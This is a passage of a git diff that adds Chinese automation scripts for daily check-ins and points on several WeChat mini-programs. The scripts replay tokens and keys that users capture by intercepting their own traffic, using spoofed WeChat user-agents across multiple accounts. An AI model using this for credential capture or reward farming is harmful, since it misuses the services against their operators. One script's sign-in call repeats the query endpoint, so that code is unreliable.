"d+": new Date().getDate(), "H+": new Date().getHours(), "m+": new Date().getMinutes(), "s+": new Date().getSeconds(), "q+": Math.floor((new Date().getMonth() + 3) / 3), S: new Date().getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in s) { new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ("00" + s[e]).substr(("" + s[e]).length))) } return t } msg(title = t, subtitle = "", body = "", options) { const formatOptions = (options) => { if (!options) { return options } else if (typeof options === "string") { if (this.isQuanX()) { return { "open-url": options } } else { return undefined } } else if (typeof options === "object" && (options["open-url"] || options["media-url"])) { if (this.isQuanX()) { return options } else { return undefined } } else { return undefined } }; if (!this.isMute) { if (this.isQuanX()) { $notify(title, subtitle, body, formatOptions(options)) } } let logs = ["", "==============📣系统通知📣=============="]; logs.push(title); subtitle ? logs.push(subtitle) : ""; body ? logs.push(body) : ""; console.log(logs.join("\n")); this.logs = this.logs.concat(logs) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, s) { const e = !this.isQuanX(); e ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t) } wait(t) { return new Promise((s) => setTimeout(s, t)) } done(t = {}) { const s = new Date().getTime(), e = (s - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2`); this.log(); if (this.isNode()) { process.exit(1) } if (this.isQuanX()) { $done(t) } } })(t, s) } + +async function Request(options) { + if ($.isNode()) { + const axios = require("axios"); + Request = async (options) => { + try { + return await axios.request(options); + } catch (error) { + return error && error.error ? error.error : "请求失败"; + } + }; + } + if ($.isQuanX()) { + Request = async (options) => { + try { + return await $task.fetch(options); + } catch (error) { + return error && error.error ? error.error : "请求失败"; + } + }; + } + return await Request(options); +} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/卡士会员/2025-06-28_卡士会员_12456cea.js b/脚本库/微信小程序/抓包版/卡士会员/2025-06-28_卡士会员_12456cea.js new file mode 100644 index 0000000..389cb0c --- /dev/null +++ b/脚本库/微信小程序/抓包版/卡士会员/2025-06-28_卡士会员_12456cea.js @@ -0,0 +1,162 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E5%8D%A1%E5%A3%AB%E4%BC%9A%E5%91%98.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E5%8D%A1%E5%A3%AB%E4%BC%9A%E5%91%98.js +// # Repo: jdqlscript/toulu +// # Path: 卡士会员.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: 12456cea70a10056a5a4cb92e709b3be05e67040aee64bb6cb28fa6ad1cd8ae5 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: smallfawn +@Date: 2024.06.09 11.56 +@Description: 卡士会员小程序 +------------------------------------------ +变量名kashivip +值 第一次进签到页面会有https://gateway.fengxuan.cn/Identity/API_Authen/Get_Token 获取TOKEN的请求 找到Url中pid和key和secret和unionid和绑定的手机号和进入签到页面的https://gateway.fengxuan.cn/QianDao/API_Sign/Save_User_Sign_Detail +里面的Post请求体的参数uid 这个UID在用户界面点我的庄园 找到https://internal.fengxuan.cn/API_Member/GetUserContent接口的返回uid的值 +一共六个值 pid#key#secret#unionid#手机号#uid 在点进去签到页面之前就开启抓包 第一次很容易抓到 或者等7200s之后再去抓token的请求 +[Script] +http-response + +[MITM] +hostname = + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const $ = new Env("卡士会员"); +let ckName = `kashivip`; +let userCookie = checkEnv( + ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || "" +); +const notify = $.isNode() ? require("./sendNotify") : ""; + +!(async () => { + console.log( + `==================================================\n 脚本执行 - 北京时间(UTC+8): ${new Date( + new Date().getTime() + + new Date().getTimezoneOffset() * 60 * 1000 + + 8 * 60 * 60 * 1000 + ).toLocaleString()} \n==================================================` + ); + //console.log(userCookie) + if (!userCookie?.length) return console.log(`没有找到CK哦`); + let index = 1; + let strSplitor = "#"; + + for (let user of userCookie) { + $.log(`\n🚀 user:【${index}】 start work\n`); + index++ + $.access_token = null + $.pid = user.split(strSplitor)[0]; + $.key = user.split(strSplitor)[1]; + $.secret = user.split(strSplitor)[2]; + $.unionid = user.split(strSplitor)[3]; + + $.bid = null + $.phone = user.split(strSplitor)[4]; + $.uid = user.split(strSplitor)[5]; + $.ckStatus = true; + await getToken() + if ($.access_token) { + await signIn() + } + } + + await $.sendMsg($.logs.join("\n")); +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); +async function getToken() { + let config = { + method: 'GET', + url: `https://gateway.fengxuan.cn/Identity/API_Authen/Get_Token?pid=&key=${$.key}&secret=${$.secret}&openid=&unionid=&appid=`, + headers: { + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.120 Mobile Safari/537.36 XWEB/1220089 MMWEBSDK/20240404 MMWEBID/8150 MicroMessenger/8.0.49.2600(0x28003156) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android', + 'Accept-Encoding': 'gzip,compress,br,deflate', + 'authorization': '', + 'charset': 'utf-8', + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': 'https://servicewechat.com/wxf1b4741159cb8b06/43/page-frame.html' + } + }; + let { data: result } = await Request(config); + if (result?.code == 0) { + $.access_token = result.access_token + $.bid = result.bid; + } +} +async function signIn() { + + let config = { + method: 'POST', + url: `https://gateway.fengxuan.cn/QianDao/API_Sign/Save_User_Sign_Detail?bid=${$.bid}&pid=${$.pid}`, + headers: { + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.120 Mobile Safari/537.36 XWEB/1220089 MMWEBSDK/20240404 MMWEBID/8150 MicroMessenger/8.0.49.2600(0x28003156) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android', + 'Accept-Encoding': 'gzip,compress,br,deflate', + 'Content-Type': 'application/x-www-form-urlencoded', + 'authorization': 'Bearer ' + $.access_token, + 'charset': 'utf-8', + 'Referer': 'https://servicewechat.com/wxf1b4741159cb8b06/43/page-frame.html' + }, + data: { + 'phone': $.phone, + 'unionid': $.unionid, + 'uid': $.uid, + 'type': '1', + }, + } + let { data: result } = await Request(config); + if (result?.code == 0) { + $.log(`签到状态[${result.msg}]`) + } else { + $.log(`签到状态[${result.msg}]`) + } +} + + +function checkEnv(userCookie) { + const envSplitor = ["&", "\n"]; + //console.log(userCookie); + let userList = userCookie + .split(envSplitor.find((o) => userCookie.includes(o)) || "&") + .filter((n) => n); + console.log(`共找到${userList.length}个账号`); + return userList; +} +// prettier-ignore +function Env(t, s) { return new (class { constructor(t, s) { this.name = t; this.logs = []; this.logSeparator = "\n"; this.startTime = new Date().getTime(); Object.assign(this, s); this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } queryStr(options) { return Object.entries(options).map(([key, value]) => `${key}=${typeof value === "object" ? JSON.stringify(value) : value}`).join("&") } getURLParams(url) { const params = {}; const queryString = url.split("?")[1]; if (queryString) { const paramPairs = queryString.split("&"); paramPairs.forEach((pair) => { const [key, value] = pair.split("="); params[key] = value }) } return params } isJSONString(str) { try { return JSON.parse(str) && typeof JSON.parse(str) === "object" } catch (e) { return false } } isJson(obj) { var isjson = typeof obj == "object" && Object.prototype.toString.call(obj).toLowerCase() == "[object object]" && !obj.length; return isjson } async sendMsg(message) { if (!message) return; if (this.isNode()) { await notify.sendNotify(this.name, message) } else { this.msg(this.name, "", message) } } randomNumber(length) { const characters = "0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } randomString(length) { const characters = "abcdefghijklmnopqrstuvwxyz0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } uuid() { return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (c) { var r = (Math.random() * 16) | 0, v = c == "x" ? r : (r & 0x3) | 0x8; return v.toString(16) }) } time(t) { let s = { "M+": new Date().getMonth() + 1, "d+": new Date().getDate(), "H+": new Date().getHours(), "m+": new Date().getMinutes(), "s+": new Date().getSeconds(), "q+": Math.floor((new Date().getMonth() + 3) / 3), S: new Date().getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in s) { new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ("00" + s[e]).substr(("" + s[e]).length))) } return t } msg(title = t, subtitle = "", body = "", options) { const formatOptions = (options) => { if (!options) { return options } else if (typeof options === "string") { if (this.isQuanX()) { return { "open-url": options } } else { return undefined } } else if (typeof options === "object" && (options["open-url"] || options["media-url"])) { if (this.isQuanX()) { return options } else { return undefined } } else { return undefined } }; if (!this.isMute) { if (this.isQuanX()) { $notify(title, subtitle, body, formatOptions(options)) } } let logs = ["", "==============📣系统通知📣=============="]; logs.push(title); subtitle ? logs.push(subtitle) : ""; body ? logs.push(body) : ""; console.log(logs.join("\n")); this.logs = this.logs.concat(logs) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, s) { const e = !this.isQuanX(); e ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t) } wait(t) { return new Promise((s) => setTimeout(s, t)) } done(t = {}) { const s = new Date().getTime(), e = (s - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2`); this.log(); if (this.isNode()) { process.exit(1) } if (this.isQuanX()) { $done(t) } } })(t, s) } + +async function Request(options) { + if ($.isNode()) { + const axios = require("axios"); + Request = async (options) => { + try { + return await axios.request(options); + } catch (error) { + return error && error.error ? error.error : "请求失败"; + } + }; + } + if ($.isQuanX()) { + Request = async (options) => { + try { + return await $task.fetch(options); + } catch (error) { + return error && error.error ? error.error : "请求失败"; + } + }; + } + return await Request(options); +} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/卡池权益会员店/2025-06-28_卡池_7ffef781.js b/脚本库/微信小程序/抓包版/卡池权益会员店/2025-06-28_卡池_7ffef781.js new file mode 100644 index 0000000..993412d --- /dev/null +++ b/脚本库/微信小程序/抓包版/卡池权益会员店/2025-06-28_卡池_7ffef781.js @@ -0,0 +1,166 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E5%8D%A1%E6%B1%A0.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E5%8D%A1%E6%B1%A0.js +// # Repo: jdqlscript/toulu +// # Path: 卡池.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: 7ffef7815aada424678a6cc559ac4d9318ca57065da1994daef5ca0f114d7c1d +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: smallfawn +@Date: 2024.06.11 18:52 +@Description: 卡池权益会员店 小程序 一周签到大概50积分 500换5花费 +------------------------------------------ +变量名 kachi +变量值 点击我的 ID 填入 多账号&或换行或新建同名变量 +[Script] +http-response + +[MITM] +hostname = + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const $ = new Env("卡池权益会员店"); +let ckName = `kachi`; +let userCookie = checkEnv( + ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || "" +); +const notify = $.isNode() ? require("./sendNotify") : ""; + +!(async () => { + console.log( + `==================================================\n 脚本执行 - 北京时间(UTC+8): ${new Date( + new Date().getTime() + + new Date().getTimezoneOffset() * 60 * 1000 + + 8 * 60 * 60 * 1000 + ).toLocaleString()} \n==================================================` + ); + //console.log(userCookie) + if (!userCookie?.length) return console.log(`没有找到CK哦`); + let index = 1; + let strSplitor = "#"; + + for (let user of userCookie) { + $.log(`\n🚀 user:【${index}】 start work\n`); + index++ + $.userId = user + $.ckStatus = true; + await initJifen() + } + + await $.sendMsg($.logs.join("\n")); +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); +async function initJifen() { + let config = { + url: `https://wx.wpool.cn/kqcentersp.do`, + method: 'POST', + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Cookie": "", + "Host": "wx.wpool.cn", + "Referer": "https://servicewechat.com/wxdae71fc43b208fff/63/page-frame.html", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "cross-site", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/8555", + "xweb_xhr": "1" + }, + data: `kqapp=1&plantform=0&userid=${$.userId}` + } + let { data: result } = await Request(config); + if (result?.result == "ok") { + $.log(`当前积分[${result.data.userAccount.coupons}]`) + if (result.data.signData.nowsign.sign !== 1) { + $.log(`开始签到`); + await signIn(result.data.signData.nowsign.jifen) + + } else { + $.log(`今天已经签到过了`); + } + } else { + $.log(`获取签到信息失败 [${JSON.stringify(result)}]`); + } +} +async function signIn(jifen) { + let config = { + url: `https://wx.wpool.cn/senvendaydosignsp.do`, + method: 'POST', + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Cookie": "", + "Host": "wx.wpool.cn", + "Referer": "https://servicewechat.com/wxdae71fc43b208fff/63/page-frame.html", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "cross-site", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/8555", + "xweb_xhr": "1" + }, + data: `userid=${$.userId}&jifen=${jifen}&indexday=0&plantform=3` + } + let { data: result } = await Request(config); + if (result?.result == "ok") { + $.log(`签到成功`); + } else { + $.log(`签到失败 [${JSON.stringify(result)}]`); + } + +} + +function checkEnv(userCookie) { + const envSplitor = ["&", "\n"]; + //console.log(userCookie); + let userList = userCookie + .split(envSplitor.find((o) => userCookie.includes(o)) || "&") + .filter((n) => n); + console.log(`共找到${userList.length}个账号`); + return userList; +} +// prettier-ignore +function Env(t, s) { return new (class { constructor(t, s) { this.name = t; this.logs = []; this.logSeparator = "\n"; this.startTime = new Date().getTime(); Object.assign(this, s); this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } queryStr(options) { return Object.entries(options).map(([key, value]) => `${key}=${typeof value === "object" ? JSON.stringify(value) : value}`).join("&") } getURLParams(url) { const params = {}; const queryString = url.split("?")[1]; if (queryString) { const paramPairs = queryString.split("&"); paramPairs.forEach((pair) => { const [key, value] = pair.split("="); params[key] = value }) } return params } isJSONString(str) { try { return JSON.parse(str) && typeof JSON.parse(str) === "object" } catch (e) { return false } } isJson(obj) { var isjson = typeof obj == "object" && Object.prototype.toString.call(obj).toLowerCase() == "[object object]" && !obj.length; return isjson } async sendMsg(message) { if (!message) return; if (this.isNode()) { await notify.sendNotify(this.name, message) } else { this.msg(this.name, "", message) } } randomNumber(length) { const characters = "0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } randomString(length) { const characters = "abcdefghijklmnopqrstuvwxyz0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } uuid() { return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (c) { var r = (Math.random() * 16) | 0, v = c == "x" ? r : (r & 0x3) | 0x8; return v.toString(16) }) } time(t) { let s = { "M+": new Date().getMonth() + 1, "d+": new Date().getDate(), "H+": new Date().getHours(), "m+": new Date().getMinutes(), "s+": new Date().getSeconds(), "q+": Math.floor((new Date().getMonth() + 3) / 3), S: new Date().getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in s) { new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ("00" + s[e]).substr(("" + s[e]).length))) } return t } msg(title = t, subtitle = "", body = "", options) { const formatOptions = (options) => { if (!options) { return options } else if (typeof options === "string") { if (this.isQuanX()) { return { "open-url": options } } else { return undefined } } else if (typeof options === "object" && (options["open-url"] || options["media-url"])) { if (this.isQuanX()) { return options } else { return undefined } } else { return undefined } }; if (!this.isMute) { if (this.isQuanX()) { $notify(title, subtitle, body, formatOptions(options)) } } let logs = ["", "==============📣系统通知📣=============="]; logs.push(title); subtitle ? logs.push(subtitle) : ""; body ? logs.push(body) : ""; console.log(logs.join("\n")); this.logs = this.logs.concat(logs) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, s) { const e = !this.isQuanX(); e ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t) } wait(t) { return new Promise((s) => setTimeout(s, t)) } done(t = {}) { const s = new Date().getTime(), e = (s - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2`); this.log(); if (this.isNode()) { process.exit(1) } if (this.isQuanX()) { $done(t) } } })(t, s) } + +async function Request(options) { + if ($.isNode()) { + const axios = require("axios"); + Request = async (options) => { + try { + return await axios.request(options); + } catch (error) { + return error && error.error ? error.error : "请求失败"; + } + }; + } + if ($.isQuanX()) { + Request = async (options) => { + try { + return await $task.fetch(options); + } catch (error) { + return error && error.error ? error.error : "请求失败"; + } + }; + } + return await Request(options); +} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/古井贡酒会员中心小程序/2025-06-28_古井贡酒_aab5faf3.js b/脚本库/微信小程序/抓包版/古井贡酒会员中心小程序/2025-06-28_古井贡酒_aab5faf3.js new file mode 100644 index 0000000..317d11e --- /dev/null +++ b/脚本库/微信小程序/抓包版/古井贡酒会员中心小程序/2025-06-28_古井贡酒_aab5faf3.js @@ -0,0 +1,175 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E5%8F%A4%E4%BA%95%E8%B4%A1%E9%85%92.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E5%8F%A4%E4%BA%95%E8%B4%A1%E9%85%92.js +// # Repo: jdqlscript/toulu +// # Path: 古井贡酒.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: aab5faf38a6294571100a8a47ad85267bd866dab298cf20c05ed11350fb3f7cc +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: smallfawn +@Date: 2024.06.09 12.40 +@Description: 古井贡酒会员中心小程序 +------------------------------------------ +变量名 gujing +值 https://scrm.gujing.com/gujing_scrm/ 请求头Headers中的Access-Token的值 多账号&或换行或新建同名变量 + +[Script] +http-response + +[MITM] +hostname = + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const $ = new Env("古井贡酒会员中心小程序"); +let ckName = `gujing`; +let userCookie = checkEnv( + ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || "" +); +const notify = $.isNode() ? require("./sendNotify") : ""; + +!(async () => { + console.log( + `==================================================\n 脚本执行 - 北京时间(UTC+8): ${new Date( + new Date().getTime() + + new Date().getTimezoneOffset() * 60 * 1000 + + 8 * 60 * 60 * 1000 + ).toLocaleString()} \n==================================================` + ); + //console.log(userCookie) + if (!userCookie?.length) return console.log(`没有找到CK哦`); + let index = 1; + let strSplitor = "#"; + + for (let user of userCookie) { + $.log(`\n🚀 user:【${index}】 start work\n`); + index++ + $.token = user + $.ckStatus = true; + await search() + } + + await $.sendMsg($.logs.join("\n")); +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); +async function search() { + let data = JSON.stringify({ + "activityId": "110001000", + "preview": false + }); + + let config = { + method: 'POST', + url: 'https://scrm.gujing.com/gujing_scrm/wxclient/mkt/activities/sign:search', + headers: { + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.120 Mobile Safari/537.36 XWEB/1220089 MMWEBSDK/20240404 MMWEBID/8150 MicroMessenger/8.0.49.2600(0x28003156) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wxba9855bdb1a45c8e', + 'Accept': 'application/json, text/plain, */*', + 'sec-ch-ua': '"Chromium";v="122", "Not(A:Brand";v="24", "Android WebView";v="122"', + 'Content-Type': 'application/json;charset=UTF-8', + 'sec-ch-ua-mobile': '?1', + 'Access-Token': $.token, + 'sec-ch-ua-platform': '"Android"', + 'Origin': 'https://scrm.gujing.com', + 'X-Requested-With': 'com.tencent.mm', + 'Sec-Fetch-Site': 'same-origin', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + + }, + data: data + }; + let { data: result } = await Request(config) + if (result?.code == 200) { + if (result.content.signed !== 1) { + $.log(`未签到 ===> 签到ing`) + await signIn() + } else { + $.log(`已签到 ===> 什么都不做`) + } + } else { + $.log(`签到查询失败 [${JSON.stringify(result)}]`) + } +} +async function signIn() { + let data = JSON.stringify({ + "activityId": "110001000", + "preview": false + }); + + let config = { + method: 'POST', + url: 'https://scrm.gujing.com/gujing_scrm/wxclient/mkt/activities/sign:search', + headers: { + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.120 Mobile Safari/537.36 XWEB/1220089 MMWEBSDK/20240404 MMWEBID/8150 MicroMessenger/8.0.49.2600(0x28003156) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wxba9855bdb1a45c8e', + 'Accept': 'application/json, text/plain, */*', + 'sec-ch-ua': '"Chromium";v="122", "Not(A:Brand";v="24", "Android WebView";v="122"', + 'Content-Type': 'application/json;charset=UTF-8', + 'sec-ch-ua-mobile': '?1', + 'Access-Token': $.token, + 'sec-ch-ua-platform': '"Android"', + 'Origin': 'https://scrm.gujing.com', + 'X-Requested-With': 'com.tencent.mm', + 'Sec-Fetch-Site': 'same-origin', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + }, + data: data + }; + let { data: result } = await Request(config) + if (result?.code == 200) { + $.log(`签到成功 获得积分[${result.content.point}]`) + } else { + $.log(`签到失败 [${result.chnDesc}]`) + } +} + +function checkEnv(userCookie) { + const envSplitor = ["&", "\n"]; + //console.log(userCookie); + let userList = userCookie + .split(envSplitor.find((o) => userCookie.includes(o)) || "&") + .filter((n) => n); + console.log(`共找到${userList.length}个账号`); + return userList; +} +// prettier-ignore +function Env(t, s) { return new (class { constructor(t, s) { this.name = t; this.logs = []; this.logSeparator = "\n"; this.startTime = new Date().getTime(); Object.assign(this, s); this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } queryStr(options) { return Object.entries(options).map(([key, value]) => `${key}=${typeof value === "object" ? JSON.stringify(value) : value}`).join("&") } getURLParams(url) { const params = {}; const queryString = url.split("?")[1]; if (queryString) { const paramPairs = queryString.split("&"); paramPairs.forEach((pair) => { const [key, value] = pair.split("="); params[key] = value }) } return params } isJSONString(str) { try { return JSON.parse(str) && typeof JSON.parse(str) === "object" } catch (e) { return false } } isJson(obj) { var isjson = typeof obj == "object" && Object.prototype.toString.call(obj).toLowerCase() == "[object object]" && !obj.length; return isjson } async sendMsg(message) { if (!message) return; if (this.isNode()) { await notify.sendNotify(this.name, message) } else { this.msg(this.name, "", message) } } randomNumber(length) { const characters = "0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } randomString(length) { const characters = "abcdefghijklmnopqrstuvwxyz0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } uuid() { return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (c) { var r = (Math.random() * 16) | 0, v = c == "x" ? r : (r & 0x3) | 0x8; return v.toString(16) }) } time(t) { let s = { "M+": new Date().getMonth() + 1, "d+": new Date().getDate(), "H+": new Date().getHours(), "m+": new Date().getMinutes(), "s+": new Date().getSeconds(), "q+": Math.floor((new Date().getMonth() + 3) / 3), S: new Date().getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in s) { new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ("00" + s[e]).substr(("" + s[e]).length))) } return t } msg(title = t, subtitle = "", body = "", options) { const formatOptions = (options) => { if (!options) { return options } else if (typeof options === "string") { if (this.isQuanX()) { return { "open-url": options } } else { return undefined } } else if (typeof options === "object" && (options["open-url"] || options["media-url"])) { if (this.isQuanX()) { return options } else { return undefined } } else { return undefined } }; if (!this.isMute) { if (this.isQuanX()) { $notify(title, subtitle, body, formatOptions(options)) } } let logs = ["", "==============📣系统通知📣=============="]; logs.push(title); subtitle ? logs.push(subtitle) : ""; body ? logs.push(body) : ""; console.log(logs.join("\n")); this.logs = this.logs.concat(logs) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, s) { const e = !this.isQuanX(); e ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t) } wait(t) { return new Promise((s) => setTimeout(s, t)) } done(t = 